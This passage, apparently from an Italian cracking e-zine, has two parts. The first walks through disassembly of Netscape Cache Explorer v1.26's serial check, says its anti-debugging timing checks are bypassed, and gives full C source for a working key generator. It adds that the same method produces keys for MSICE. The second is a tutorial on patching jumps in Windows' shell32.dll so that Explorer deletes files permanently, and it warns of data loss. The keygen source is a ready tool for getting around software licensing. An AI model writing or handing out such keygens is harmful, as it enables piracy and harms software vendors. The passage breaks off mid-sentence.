:0041FBB0 99 cdq :0041FBB1 F7FF idiv edi ** al=al/1a dl=dl%1a :0041FBB3 80C241 add dl, 41 :0041FBB6 2813 sub byte ptr [ebx], dl :0041FBB8 803B00 cmp byte ptr [ebx], 00 :0041FBBB 7D03 jge 0041FBC0 :0041FBBD 80031A add byte ptr [ebx], 1A * Referenced by a (U)nconditional or (C)onditional Jump at Address: |:0041FBBB(C) | :0041FBC0 41 inc ecx :0041FBC1 43 inc ebx :0041FBC2 46 inc esi :0041FBC3 83F908 cmp ecx, 00000008 :0041FBC6 72DF jb 0041FBA7 Dopo il ciclo c'e' subito un'istruzione "ret": tutta la prima parte del l'algoritmo di codifica e' qui, quindi state attenti! Il programma prende l'n-esimo valore della stringa appena creata, lo divide per il valore 1Ah (che corrisponde a 26d) ed inserisce il resto in dl. Questo e' mostrato anche nel commento che ho inserito all'indirizzo 41fbb1: usando la notazione C, abbiamo al=al/1a (divisione intera) e dl=dl%1a (resto della divisione intera). In seguito, il valore 41h (65d) viene sommato a dl e il nuovo dl viene sottratto dal carattere n-esimo DELLA PASSWORD INSERITA IN PRECEDENZA. Se il valore finale e' minore di 0, allora viene aggiunto 1Ah (26d). Alla fine di questo ciclo, la procedura termina. Ora tocca alla SECONDA call importante, all'indirizzo 41fbcf. Eccone la "versione completa": :0041FBCF 55 push ebp :0041FBD0 8BEC mov ebp, esp :0041FBD2 83C4F8 add esp, FFFFFFF8 :0041FBD5 53 push ebx :0041FBD6 56 push esi :0041FBD7 57 push edi :0041FBD8 33FF xor edi, edi * Reference To: KERNEL32.GetTickCount, Ord:0000h | :0041FBDA E8EE510000 Call 00424DCD :0041FBDF 8945FC mov dword ptr [ebp-04], eax :0041FBE2 33F6 xor esi, esi :0041FBE4 8B4508 mov eax, dword ptr [ebp+08] :0041FBE7 8BD8 mov ebx, eax * Referenced by a (U)nconditional or (C)onditional Jump at Address: |:0041FC2C(C) | * Reference To: KERNEL32.GetTickCount, Ord:0000h | :0041FBE9 E8DF510000 Call 00424DCD :0041FBEE 8945F8 mov dword ptr [ebp-08], eax :0041FBF1 33C0 xor eax, eax :0041FBF3 8A03 mov al, byte ptr [ebx] :0041FBF5 03C6 add eax, esi * Possible Reference to Dialog: DialogID_000A | * Possible Reference to String Resource ID=00010: "(Empty)" | :0041FBF7 B90A000000 mov ecx, 0000000A :0041FBFC 99 cdq :0041FBFD F7F9 idiv ecx :0041FBFF 8BCA mov ecx, edx :0041FC01 33C0 xor eax, eax :0041FC03 8A4301 mov al, byte ptr [ebx+01] :0041FC06 03C6 add eax, esi :0041FC08 40 inc eax :0041FC09 51 push ecx * Possible Reference to Dialog: DialogID_000A | * Possible Reference to String Resource ID=00010: "(Empty)" | :0041FC0A B90A000000 mov ecx, 0000000A :0041FC0F 99 cdq :0041FC10 F7F9 idiv ecx :0041FC12 59 pop ecx :0041FC13 0FAFCA imul ecx, edx :0041FC16 03F9 add edi, ecx * Reference To: KERNEL32.GetTickCount, Ord:0000h | :0041FC18 E8B0510000 Call 00424DCD :0041FC1D 2B45F8 sub eax, dword ptr [ebp-08] :0041FC20 C1E80A shr eax, 0000000A :0041FC23 03C7 add eax, edi :0041FC25 8BF8 mov edi, eax :0041FC27 46 inc esi :0041FC28 43 inc ebx :0041FC29 83FE07 cmp esi, 00000007 :0041FC2C 7CBB jl 0041FBE9 * Reference To: KERNEL32.GetTickCount, Ord:0000h | :0041FC2E E89A510000 Call 00424DCD :0041FC33 2B45FC sub eax, dword ptr [ebp-04] :0041FC36 C1E80B shr eax, 0000000B :0041FC39 03C7 add eax, edi :0041FC3B 5F pop edi :0041FC3C 5E pop esi :0041FC3D 5B pop ebx :0041FC3E 59 pop ecx :0041FC3F 59 pop ecx :0041FC40 5D pop ebp :0041FC41 C3 ret Tutte queste chiamate a GetTickCount sono una protezione: probabilmente, se utilizzassimo un debugger "normale", il conto dei ticks sarebbe sbagliato e verrebbe restituito qualche messaggio d'errore... ma noi non usiamo un debugger normale: usiamo Winice! (TADAAA!) :)) Quindi, in realta' ci interessa solo una "versione breve" di questa procedura ... in seguito a un'operazione di "sfoltimento" questo e' cio' che appare: :0041FBE4 8B4508 mov eax, dword ptr [ebp+08] ** indirizzo della ** pw modificata :0041FBE7 8BD8 mov ebx, eax :HERE THE BIG LOOP STARTS: :0041FBF3 8A03 mov al, byte ptr [ebx] ** n-esimo valore :0041FBF5 03C6 add eax, esi ** inizialmente 0 :0041FBF7 B90A000000 mov ecx, 0000000A :0041FBFC 99 cdq :0041FBFD F7F9 idiv ecx ** eax=eax/10 :0041FBFF 8BCA mov ecx, edx ** ecx=edx=edx%10 :0041FC01 33C0 xor eax, eax ** eax=0 :0041FC03 8A4301 mov al, byte ptr [ebx+01] **(n+1)esimo valore :0041FC06 03C6 add eax, esi ** ancora 0 :0041FC08 40 inc eax ** eax=(n+1)esimo valore+1 :0041FC09 51 push ecx ** salva il primo resto :0041FC0A B90A000000 mov ecx, 0000000A :0041FC0F 99 cdq :0041FC10 F7F9 idiv ecx ** eax=eax/10 :0041FC12 59 pop ecx ** carica il primo resto :0041FC13 0FAFCA imul ecx, edx ** ecx=primo resto*secondo resto :0041FC16 03F9 add edi, ecx ** edi=edi+ecx EDI CRESCE! :0041FC20 C1E80A shr eax, 0000000A ** eax diventa 0 :0041FC23 03C7 add eax, edi :0041FC25 8BF8 mov edi, eax ** nessun cambiamento :) :0041FC27 46 inc esi :0041FC28 43 inc ebx :0041FC29 83FE07 cmp esi, 00000007** ho scandito tutta la pw? :0041FC2C 7CBB jl 0041FBE9 ** no. Salta all'inizio. :HERE THE BIG LOOP ENDS: :0041FC36 C1E80B shr eax, 0000000B :0041FC39 03C7 add eax, edi ** ax=valore finale Come potete vedere, l'algoritmo dopotutto non e' COSI' difficile da comprendere... magari sara' piu' complicato fare il generatore di chiavi, ma ora possiamo ancora capire cosa sta succedendo. Il programma raccoglie i valori n-esimo e (n+1)-esimo della pw modificata, li divide per 10, quindi moltiplica il resto del valore n-esimo con quello del valore (n+1)-esimo incrementato di 1. Se date un'occhiata alle ultime righe, potete notare che il valore finale di questa somma viene salvato in eax e, se guardate la porzione di codice che compare subito dopo la call potete notare QUESTA riga: :0041F8D6 A320204300 mov [00432020], eax ** salva il valore che SALVA IL VALORE IN EAX per effettuare una successica "cmp". Quindi, QUESTO e' il valore che dev'essere uguale a 190h, cioe' 400d. Ecco il modo in cui tale numero viene costruito: r1*r2 + r2*r3 + r3*r4 + r4*r5 + r5*r6 + r6*r7 + r7*r8 =190h=400d dove r1=p1+0%10 r2=p2+1%10 r3=p3+2%10 r4=p4+3%10 r5=p5+4%10 r6=p6+5%10 r7=p7+6%10 r8=p8+7%10 e dove px e' l'x-esimo elemento della password modificata, cioe': (valore dell'x-esimo elemento della password originale-((x-esimo elemento del nome "scritto su se stesso")%26)+65)+26 (se il valore e' <0). Un casino, dite? Beh, non avete mai visto camera mia :) Comunque lo ammetto, questa situazione e' abbastanza imbarazzante,specialmente se vogliamo cercare di invertire la "funzione" (e noi lo vogliamo!): questo perche' una funzione di questo tipo, ovvero che fa uso dell'operatore resto, puo' avere un numero infinito di soluzioni (ad esempio, il resto "5" di una divisione per 10 puo' essere stato generato dai numeri "5", "15", "25" e cosi' via). Tutto cio' che dobbiamo fare, a questo punto, e' usare i nostri cervelli ... dobbiamo creare _DA_ZERO_ UNA delle INFINITE soluzioni, possibilmente la piu' semplice per noi! :) // Nota: in realta' non sono infinite - i numeri in gioco NON sono infiniti - pero' sono tante, abbastanza da occupare tutti i nostri futuri weekend liberi :) // D'ora in poi, leggerete LA MIA soluzione, ma la vostra puo' essere diversa dalla mia... Se avete qualche idea che pensate sia migliore delle mie, PER FAVORE fatemelo sapere, anche io sono qui per imparare! Potete vedere il mio indirizzo email alla fine del testo. Ok, la PRIMA cosa che dobbiamo fare e' buttare giu' alcune idee: 1) Dobbiamo ridurre il numero di parametri che cambiano. 2) Dobbiamo costruire quel dannato numero 400d. 3) Dobbiamo fare un generatore di chiavi funzionante :) A questo punto, ho deciso di cominciare dal fondo: il numero 400. Come viene costruito? Beh, lo potete vedere voi stessi dalle righe precedenti... e' la somma di sette prodotti in cui il secondo membro e' il primo membro del prodotto successivo. Quindi, cerchiamo di dare alcuni valori a quegli rx per creare il numero giusto. QUESTO e' un casino... ed ecco che entra in gioco lo Zen :) Ho pensato: "Ehi, questi programmatori sono esseri umani come me,probabilmente avranno pensato a qualche numero SEMPLICE"... inoltre, i numeri da r2 a r7 vengono moltiplicati DUE volte, quindi probabilmente i programmatori avranno trovato piu' semplice utilizzare delle potenze di 2. Quindi: 1) Usa numeri facili/moltiplica 2 volte --> Ripeti lo STESSO numero il piu' volte possibile 2) Potenze di due --> parti con la potenza di 2 piu' grande che sia pero' <10, ovvero 8 In questo modo ho scoperto che il numero 400 e' costituito da (8*8)*6 + (8*2). La riga scritta in precedenza diventa: 08*08 + 08*08 + 08*08 + 08*08 + 08*08 + 08*08 + 08*02 =190h=400d r1*r2 + r2*r3 + r3*r4 + r4*r5 + r5*r6 + r6*r7 + r7*r8 =190h=400d E: r1=p1+0%10=8 -> p1=8 r2=p2+1%10=8 -> p2=7 r3=p3+2%10=8 -> p3=6 r4=p4+3%10=8 -> p4=5 r5=p5+4%10=8 -> p5=4 r6=p6+5%10=8 -> p6=3 r7=p7+6%10=8 -> p7=2 r8=p8+7%10=2 -> p8=5 (5+7=12 ; 12%10=2) Ora conosciamo i valori che la pw modificata dovrebbe avere. Ma cosa dire della password ORIGINALE? Da cosa e' costituita? Numeri? Lettere? Ora dobbiamo semplificare il nostro lavoro il piu' possibile: in un primo momento avevo pensato di utilizzare semplicemente dei numeri, ma ho notato che, se chiamiamo "x" il valore di un carattere della pw e "c" il valore di un carattere del nome "ripiegato su se stesso", si ottiene: p=(x-(65+c%26)(+26?))%10 e, se x e' un numero (ascii 48-57) e io sottraggo ad essoun valore compreso fra 65 e 65+26, anche se ad esso aggiungessi sempre 26 il valore risultante sarebbe talvolta maggiore di 0 e talvolta minore di 0. MALE: se devo lavorare con dei resti non voglio che fra essi ci siano dei "salti" come quello fra 0 (resto 0) e -1 (=255, resto 255). Per questo motivo ho deciso di utilizzare per la password le lettere dalla a alla z, in modo da avere SEMPRE dei numeri positivi e non dover neanche avere a che fare con quel (26?) :) Quindi, le p vengono costruite grazie alla seguente equazione: p=(x-(65+c%26))%10 Benissimo, ho risolto un problema ma ora ne ho un altro: come posso fare in modo che le "p" siano esattamente come quelle di cui ho bisogno? Infatti, se ho bisogno di un resto, sia la lettera n-esima sia la (n+10)-esima possono andare bene. Ho deciso di cominciare da una pw costituita da sole "a", quindi calcolare i suoi valori "p", quindi aggiungere la "differenza" fra i "p" che ho calcolato e quelli di cui ho bisogno. Proviamo con un nome semplice: MaLaTTiA :) 1) Ripiega la stringa M a L a T T i A (qui non e' necessario) 2) Dec 77 97 76 97 84 84 105 65 3) p=(97-(65+c%26))%10 07 03 08 03 06 06 01 09 (97 e' "a") 4) Valori richiesti 08 07 06 05 04 03 02 05 5) Aggiungi ad "a" 01 04 08 02 08 07 01 06 6) PASSWORD: b e i c i h b g Ehi... FUNZIONA!!! :) Questo e' tutto. Ora, ecco il sorgente C per questo generatore di chiavi (abbiate pazienza, il mio C non e' un granche'... ;) ***************************************************************************** #include unsigned char s[8]={0,0,0,0,0,0,0,0}; char string [80]; int values[8], required[8]={8,7,6,5,4,3,2,5}; int i,j,ok=0,ok2=0; void main (){ printf ("\n...//\\Oo/\\\\ Netscape Cache Explorer v1.26 KeyGen - by .MaLaTTiA. //\\Oo/\\\\...\n\n"); printf ("\nUser name: "); gets (string); i=j=0; if (string[0]==0) exit(0); while ((!ok)||(!ok2)){ if (string[j]==0){ if (!ok2) j=0; ok=1; } s[i]=s[i]+string[j]; j++;i++; if (i>7){ ok2=1; i=0; } } for (i=0;i<=7;i++){ values[i]=required[i]-((32-(s[i]%26))%10); if (values[i]<0) values[i]=values[i]+10; } printf ("Key: "); for (i=0;i<=7;i++){ printf ("%c", 97+values[i]); } printf ("\n"); } ***************************************************************************** Noto ora che non e' neanche ottimizzato... bah, funziona! :)) Credo che questo sorgente sia abbastanza semplice da comprendere, tuttavia se non comprendete qualcosa mandatemi una mail e saro' felice di aiutarvi! Ora, potete anche costruire il generatore di chiavi per MSICE, tenendo presente che il valore necessario non e' 190h ma e' 192h. Provatelo, l'algoritmo e' lo stesso! :) byez, .+MaLaTTiA. (malattia@usa.net) NOTA DI N0bodY88 = un tnx 1000 al mitico +MaLaTTiA dei RingZ3r0 che potete trovare (e se non vi e' venuta voglia di andare al loro sito per questo art e x i prossimi 2...be...meditate il suicidio...hihihi) al l'url http://ringzer0.cjb.net e buona lettura :-) ͻ Ŀ UN ESEMPIO DI DLL REVERSING - COME RICONFIGURARE IL COMPORTAMENTO DI EXPLORER MODIFICANDO ALCUNE FUNZIONI DELLA LIBRERIA SHELL32.DLL ٺ ͼ By -NeuRaL_NoiSE ______________________________________________________________________________ Salve a tutti!! Quante volte avete pensato "cacchio se solo potessi evitare di far passare i files per il cestino di Windows quando li elimino...che rottura dover prima cancellare, poi svuotare il cestino, magari anche solo per un file....solo che poi se gli dico di eliminare sempre i files a volte mi trovo in difficolta'..." ??? Bene, se rientrate nella folta schiera (me compreso, altrimenti questo tute non avrebbe mai visto la luce :) di coloro i quali si pongono il problema, beh allora state leggendo il .txt adatto :) a questo punto permettetemi di spiegarvi sinteticamente un paio di cosette e DISCLAIMARE le mie responsabilita': UNO : Se apporterete le modifiche che vi indichero' in questo tutorial, non ritenetemi responsabile per perdite accidentali dei vostri dati (il vostro comando ELIMINA da explorer non sara' piu' sicuro come un tempo!! :) DUE : questo e' un tutorial rivolto al reverse engineering piu' che al cracking. Se avete scaricato questo file credendo di poter sproteggere un programma o crackare un gioco, mi dispiace deludervi ma non troverete niente di simile qui. Vi consiglio di dare un'occhiata ai tutorials su ringzer0.cjb.net - troverete sicuramente qualcosa di vostro gradimento :) Detto cio'......LET'S GO!!! allora....come avrete certamente capito dall'intro, in questo tute faremo in modo che quando scegliete una determinata opzione, il vostro fido explorer di Window$ ELIMINERA' fisicamente i files dal disco, senza farli passare dal cestino. "Bella novita'", starete pensando..."lo posso fare pure selezionando l'opzione 'Non spostare i files nel cestino, elimina direttamente' nelle proprieta' del cestino"....ed invece ecco la novita'....che ne direste di un bel dialog box con tre opzioni, UNO=SPOSTA NEL CESTINO, DUE=ELIMINA DAL DISCO e TRE=ANNULLA L'OPERAZIONE ? Esatto....sto parlando di combinare, in qualche arcano modo, le tre cose senza smanettare con le opzioni del cestino (IMPORTANTE: PER SEGUIRE QUESTO TUTE, E SUCCESSIVAMENTE, *DOVETE* LASCIARE L'OPZIONE "SPOSTA NEL CESTINO", NIENTE "ELIMINA DIRETTAMENTE"). Ok, basta chiacchiere.... Contrariamente a quello che qualcuno potrebbe pensare, *NON* e' EXPLORER.EXE che regola le operazioni come cancellare i files, copiarli ecc., ma queste funzioni sono svolte da una DLL (Dynamic Link Library, ovvero un insieme di funzioni che vengono sfruttate da un programma, nel nostro caso EXPLORER.EXE) chiamata SHELL32.DLL e situata sotto WINDOWS\SYSTEM. Niente di grave, tratteremo la DLL come un qualsiasi eseguibile, e i tools saranno gli stessi di sempre: * W32Dasm v8.93 * SoftICE v3.24 * HIEW v6.01 Bene...ci dovreste essere. Aprite Shell32.dll con W32dasm....noterete la differenza di image base....non piu' 40000000h come i classici .exe ma 7FDB0000h. Bene, ora aprite Explorer.exe (Gestione Risorse) e create una directory temporanea, riempendola di files inutili copiati da altre dirs. MI RACCOMANDO NON OPERATE CON DIRECTORY GIA' PRESENTI SUL VOSTRO HARD DISK, PERCHE' LE POSSIBILITA' DI PERDERNE I DATI CONTENUTI E' MOLTO ALTA! Allora...prendete un file a caso della vostra dummy dir e scegliete ELIMINA dal menu FILE (o dal context menu che appare premendo il tasto destro del mouse). Noterete un simpatico dialog che vi chiede se volete spostare xxxx.xxx nel cestino.....benissimo, ecco trovato il nostro hook per accedere al codice. Ad una prima occhiata, e' intuibile che la API su cui breakare e' DialogBoxParamA. E cosi' fate....scegliete NO, entrate in SoftICE, e scrivete "BPX DialogBoxParamA". Riselezionate "elimina" e sice vi poppera' sullo schermo. premete F12 e sarete di nuovo in pista, stavolta con il dialog sullo schermo. Selezionate SI...Sice ri-poppera', e sarete alla riga successiva al caller del Dialog Box, che e' questa: * Reference To: USER32.DialogBoxParamA, Ord:0084h | :7FDE2505 FF15E83DE17F Call dword ptr [7FE13DE8] Date un'occhiata ad EAX, che come saprete contiene il valore di ritorno di OGNI funzione API. Notate che e' 6. Ora premete F5, e il vostro file verra' spostato nel cestino. Adesso riprovate a scegliere ELIMINA. Noterete che, scegliendo NO, il return value in EAX successivamente al DialogBoxParamA e' = 7. Ripete l'operazione, ma stavolta lasciate perdere il mouse e premete ESC. Il return value sara' 2. quindi possiamo tracciare un semplice schema: VALORE DI RITORNO DALLA CALL DEL DIALOGBOX | TASTO/BUTTON SELEZIONATO | ** SIGNIFICATO ** ___________________________________________|__________________________|________________________ | | 00000006 | BUTTON "SI" SUL DIALOG | SPOSTA FILE NEL CESTINO ___________________________________________|__________________________|________________________ | | 00000007 | BUTTON "NO" SUL DIALOG | ANNULLA L'OPERAZIONE ___________________________________________|__________________________|________________________ | | 00000002 | TASTO "ESC" DA TASTIERA | ANNULLA L'OPERAZIONE ___________________________________________|__________________________|________________________ Hmm.....cio' che salta all'occhio qui e' un'inutile ripetizione.....due valori di ritorno svolgono la stessa funzione...sarebbe molto meglio se potessimo modificare il significato del button "NO" sul dialog box....magari redirezionandolo verso l'ELIMINAZIONE FISICA del file selezionato dall'hard disk...In tal modo, senza grosse modifiche al codice avremmo una situazione molto piu' interessante: "SI" sposterebbe il file nel cestino, "NO" lo eliminerebbe fisicamente e "ESC" annullerebbe l'operazione. Vediamo che si puo' fare :) Cominciamo a tracciare con F10, finche' non arriviamo qui * Referenced by a JUMP at Addresses: |:7FDE24ED(U), :7FDE2519(C), :7FDE2524(U) | :7FDE252B 83FE06 cmp esi, 00000006 ; ESI CONTIENE IL ; RETURN VALUE :7FDE252E 751E jne 7FDE254E ; SE NON SI E' ; SCELTO "SI" :7FDE2530 8B452C mov eax, dword ptr [ebp+2C] :7FDE2533 8B00 mov eax, dword ptr [eax] ; BYTE INIZIALE ; DESCRITTORE OBJECT :7FDE2535 A810 test al, 10 ; CONTROLLA SE L'OBJECT ; E' UNA DIR :7FDE2537 7515 jne 7FDE254E ; SE SI (10=DIR, ; 20=FILE) SALTA :7FDE2539 A805 test al, 05 ; SE E' UN FILE.... :7FDE253B 7411 je 7FDE254E ; SALTA COMUNQUE :) :7FDE253D 85FF test edi, edi :7FDE253F 7503 jne 7FDE2544 :7FDE2541 8B7D20 mov edi, dword ptr [ebp+20] Stop! Abbiamo quanto basta a capire che la continuazione naturale della procedura e' a 7FDE254E...dove troviamo questa parte di codice: :7FDE254E 8BC6 mov eax, esi Il return value viene rimesso in eax, molto bene....siamo sulla strada giusta ...il check precedente serviva quindi solo a verificare problemi di memoria o di invalid handle....se c'erano problemi in eax veniva lasciato un dummy value e le operazioni successive non sarebbero andate in esecuzione. Come vedrete shell32.dll e' PIENA di checks di questo tipo...potete pure chiamarlo Good Old Micro$oft Redundant Code (TM) :) Continuiamo il tracing con SoftICE fino al ret 028...ci ritroveremo qui: :7FDE4093 E810E1FFFF call 7FDE21A8 ;<-- TORNIAMO DA ; QUESTA CALL :7FDE4098 8BF8 mov edi, eax * Referenced by a JUMP at Address: |:7FDE4064(C) | :7FDE409A 83FF06 cmp edi, 00000006 ; DI NUOVO...CHECK SE ; ABBIAMO PREMUTO SI :7FDE409D 7540 jne 7FDE40DF ; ALTRIMENTI ELABORA ; DI CONSEGUENZA :7FDE409F 8B442434 mov eax, dword ptr [esp+34] :7FDE40A3 8B08 mov ecx, dword ptr [eax] ; BYTE INIZIALE ; DESCR. OBJ. IN ECX :7FDE40A5 F6C110 test cl, 10 ; ABBIAMO UN FILE QUI?? :7FDE40A8 7435 je 7FDE40DF ; SI! SALTA ! :7FDE40AA 81FD00010000 cmp ebp, 00000100 ; O UNA DIR?? ; (100=DIRECTORY) :7FDE40B0 7408 je 7FDE40BA :7FDE40B2 81FD00030000 cmp ebp, 00000300 ; (300=FILE) :7FDE40B8 7525 jne 7FDE40DF Benissimo.....ulteriori checks (uff! :)...ora il nostro jne a 409D non saltera' perche' abbiamo scelto "SI", mentre prenderemo quello a 40A8 per ovvi motivi (abbiamo scelto un file:)...ora una premessa e' d'obbligo. Poiche' quello che stiamo per fare e' MOLTO pericoloso per i vostri dati, ho deciso di trattare in questo tutorial SOLO la modifica del codice relativo all'eliminazione di UN SOLO FILE ALLA VOLTA. In altre parole, il file verra' distrutto SOLO quando verra' cancellato DA SOLO. Se decidete di cancellare directories intere, o piu' file alla volta, dovrete servirvi del cestino. Comunque, se siete intenzionati a modificare anche il codice relativo alla cancellazione di piu' files o di una dir intera, vi do un piccolo consiglio...il dialog box e' diverso per quando dovete cancellare piu' files...quindi, un bpx su DialogBoxParamA vi fara' poppare in un altro punto, e troverete semplice orientarvi nello stesso modo in cui stiamo agendo qui. (consiglio nel consiglio ;) : Quando cancellate piu' files potete provare a noppare il mov eax,2 che viene eseguito SIA quando premete ESC SIA quando premete il button "NO"...noppando il mov, avrete la dovuta differenziazione (7 o 2) nel return value, che vi serve a ridirezionare le funzioni anche in tal caso...l'unico problema e' che poi dovrete appendere del codice se questo non e' gia' presente nella dialog procedure, quindi magari dovrete ingrandire l'ultima sezione del pe e...ma hey! questo e' un altro discorso :) Ritorniamo a noi! :) I checks ci fanno intuire che la prossima zona di codice per l'elaborazione dei return values, nel caso in cui si e' scelto un file (insomma proprio cio' che ci interessa :) e' a 7FDE40DF. Ecco qui.... :7FDE40DF 83FF02 cmp edi, 00000002 :7FDE40E2 741A je 7FDE40FE :7FDE40E4 83FF07 cmp edi, 00000007 :7FDE40E7 7415 je 7FDE40FE :7FDE40E9 837C241C00 cmp dword ptr [esp+1C], 00000000 :7FDE40EE 740E je 7FDE40FE :7FDE40F0 FF742424 push [esp+24] :7FDE40F4 56 push esi :7FDE40F5 FF742434 push [esp+34] :7FDE40F9 E845EEFFFF call 7FDE2F43 * Referenced by a JUMP at Addresses: |:7FDE40E2(C), :7FDE40E7(C), :7FDE40EE(C) | :7FDE40FE 8BC7 mov eax, edi :7FDE4100 5D pop ebp :7FDE4101 5F pop edi :7FDE4102 5E pop esi :7FDE4103 5B pop ebx :7FDE4104 83C418 add esp, 00000018 :7FDE4107 C22400 ret 0024 Altri tre checks....se abbiamo scelto ESC o "NO", il programma esce dalla call (con il ret 024 a 4107) conservando tale valore nel registro, altrimenti esegue una zona di codice, allo scopo di rilevare i dati necessari alla cancellazione del file (con la call a 40F9). Continuiamo a tracciare con SoftICE, e ci ritroveremo al caller.... :7FDE4952 E8A3F6FFFF call 7FDE3FFA ; <--NOI TORNIAMO DA QUESTA CALL :7FDE4957 83F802 cmp eax, 00000002 ; HAI PREMUTO "ESC" ? :7FDE495A 0F847F080000 je 7FDE51DF :7FDE4960 83F806 cmp eax, 00000006 ; HAI SCELTO "SI" ? :7FDE4963 743F je 7FDE49A4 :7FDE4965 83F807 cmp eax, 00000007 ; HAI SCELTO "NO" ? :7FDE4968 0F8486070000 je 7FDE50F4 * Referenced by a JUMP at Addresses: |:7FDE48D1(U), :7FDE50AF(U) | :7FDE496E 8945FC mov dword ptr [ebp-04], eax ; SORRY, MA QUI C'E' QUALCOSA CHE ; NON VA...SE EAX NON CONTIENE ; NESSUNO DEI 3 VALORI DI CUI ; SOPRA, ABBIAMO UN INVALID ; HANDLE! MESSAGGIO DI ERRORE! Wohho! Ecco il codice che ci interessa....il gioco si fa interessante :D La fortuna ci assiste....abbiamo tre ramificazioni per tre eventuali opzioni ...adesso tutto sta a ridirezionare il je relativo alla pressione del button "NO" in una zona di codice diversa, che ELIMINERA' il file dall'hard disk.... non avremo bisogno di perdere tempo con le raw sizes e le virtual sizes delle sezioni del pe, e questo e' un bel vantaggio! Per ora continuiamo a tracciare, per renderci un po' conto di come funzionano le cose...la nostra corsa deviera' a 4963 perche' in questo caso abbiamo scelto "SI"... e ci ritroveremo qui: :7FDE49A4 8B4DF4 mov ecx, dword ptr [ebp-0C] :7FDE49A7 8B01 mov eax, dword ptr [ecx] :7FDE49A9 0B45F8 or eax, dword ptr [ebp-08] :7FDE49AC 3D01020000 cmp eax, 00000201 :7FDE49B1 7725 ja 7FDE49D8 :7FDE49B3 0F8402020000 je 7FDE4BBB :7FDE49B9 3D01010000 cmp eax, 00000101 :7FDE49BE 0F848E000000 je 7FDE4A52 :7FDE49C4 3D02010000 cmp eax, 00000102 :7FDE49C9 0F84FA000000 je 7FDE4AC9 :7FDE49CF 3D03010000 cmp eax, 00000103 :7FDE49D4 7447 je 7FDE4A1D :7FDE49D6 EB3E jmp 7FDE4A16 Non fatevi spaventare dal numero dei jumps, se tutto va bene prenderete sempre il JA a 49B1 (non lo prendete se state cancellando un folder, ma gia' al primo file dello stesso saltera'), che vi portera' qui: :7FDE49D8 3D02020000 cmp eax, 00000202 :7FDE49DD 743E je 7FDE4A1D :7FDE49DF 3D03020000 cmp eax, 00000203 :7FDE49E4 0F84D1010000 je 7FDE4BBB :7FDE49EA 3D01030000 cmp eax, 00000301 :7FDE49EF 0F84F0030000 je 7FDE4DE5 :7FDE49F5 3D02030000 cmp eax, 00000302 :7FDE49FA 0F843C020000 je 7FDE4C3C :7FDE4A00 3D03030000 cmp eax, 00000303 :7FDE4A05 0F8444030000 je 7FDE4D4F ; JUMP CHE VERRA' PRESO ; SE TUTTO VA BENE :7FDE4A0B 3D04030000 cmp eax, 00000304 :7FDE4A10 0F8499030000 je 7FDE4DAF Hmmm....sembrano a colpo d'occhio ulteriori checks sulle caratteristiche dei files...lasciamoli stare....il jump che prendera' sempre e' quello a 4A05. Ecco dove conduce: :7FDE4D4F 8B4730 mov eax, dword ptr [edi+30] :7FDE4D52 85C0 test eax, eax :7FDE4D54 741C je 7FDE4D72 :7FDE4D56 53 push ebx :7FDE4D57 8D4DFC lea ecx, dword ptr [ebp-04] :7FDE4D5A 6A00 push 00000000 :7FDE4D5C 8D95E4FDFFFF lea edx, dword ptr [ebp+FFFFFDE4] :7FDE4D62 50 push eax :7FDE4D63 51 push ecx :7FDE4D64 52 push edx :7FDE4D65 E815690000 call 7FDEB67F ; CALL DI CONTROLLO OPZIONE "CESTINO ON" :7FDE4D6A 85C0 test eax, eax ; EAX E' *ZERO* SE CESTINO E' OFF :7FDE4D6C 0F85ABFCFFFF jne 7FDE4A1D ; HAI IL CESTINO "ON", SALTA E SPOSTA ; I FILES * Referenced by a JUMP at Address: |:7FDE4D54(C) | :7FDE4D72 8D85E4FDFFFF lea eax, dword ptr [ebp+FFFFFDE4] ; ALTRIMENTI PROCEDI CON :7FDE4D78 50 push eax ; L'ELIMINAZIONE FISICA DEL * Reference To: SHELL32.Ordinal:00A4 ; FILE DALL'HD !! | :7FDE4D79 E8C7C3FFFF call 7FDE1145 :7FDE4D7E 85C0 test eax, eax :7FDE4D80 7409 je 7FDE4D8B :7FDE4D82 C745FC00000000 mov [ebp-04], 00000000 :7FDE4D89 EB09 jmp 7FDE4D94 Eh....sembra che ci siamo :) Tutto viene giostrato da quella call di controllo opzione a 4D65...se il risultato di quella call e' ZERO, i files verranno cancellati fisicamente, altrimenti verranno spostati nel cestino. Io personalmente ci sono arrivato tracciando passo per passo la call, e segnandomi le differenze nell'esecuzione che si verificano con le due opzioni di cestino "on" e "off". Se vi puo' interessare, la zona di codice in cui viene decisa la sorte di eax in quella call e' quella dei tre jumps agli indirizzi B660, B666 e B66C. Lo xor azzerera' eax e ci restituira' il valore zero, evitando per altro di eseguire una buona parte del codice della call (che serve a preparare lo spostamento del file nel cestino). Ora quindi sappiamo che, per ELIMINARE fisicamente i files, il nostro programma deve eseguire il codice che parte a 4D72...hey ma cosa vedo?? un jump che porta li'?? hmm, mettiamo un bpx su questo jump (7FDE4D54)...strano, non salta mai....nemmeno quando abbiamo il cestino ad "OFF"...ah! dimenticavo ....il solito Redundand Code (TM) della Micro$oft :))) Ora pero' devo dire che questo jump inutile (vabbeh, saltera' una volta ogni dieci millenni:) mi ha fatto pensare una cosa....se c'e' un jump che evita tutta la zona di codice precedente, non dobbiamo preoccuparci di inserire una flag e farla controllare dopo la call di controllo... si puo' accedere a quel codice anche EVITANDO tutto il check..lo dimostra il fatto che i programmatori hanno inserito nel codice un jump che fa proprio questo....evitare il codice... e' solo una questione di intuizione e logica (chiamiamolo ZEN che mi fa sembrare piu' cool ;) la soluzione a questo punto e' semplicissima......modificheremo il jump relativo al tasto "NO" in modo che esegua DIRETTAMENTE il codice a 7FDE4D72, invece che eseguire le sue inutili funzioni ! Pertanto il primo passo da seguire e' fare un BACKUP del file shell32.dll, chiamandolo ad es. shell32.bak. Poi copiamolo anche su un file temporaneo che andremo a patchare fisicamente (non possiamo patchare shell32.dll perche' non viene scaricato dalla memoria, nemmeno quando chiudiamo explorer.exe). Adesso abbiamo 3 files, shell32.dll, shell32.bak e, diciamo, shell32.new. La logica ci direbbe di segnarci i due offsets (del je relativo a "NO" e del punto in cui vogliamo che salti), aprire HIEW e patchare come in ogni altro caso...e invece NO! Se tentate questo approcio, al riavvio di Windows con la nuova shell32.dll, premendo "NO" avrete l'amara delusione di un misero GPF... perche'?? La spiegazione e' molto semplice, il motivo purtroppo no....ho pensato ad una differenza di image base, ma gradirei se qualcuno mi spiegasse con certezza il perche' di questo problema. Quando patchiamo con HIEW, e' vero che l'offset a cui diciamo di saltare cambia in 34172h, ma purtroppo, all'esecuzione del jump nella "vita reale:)", la dll saltera' alla RIGA DI 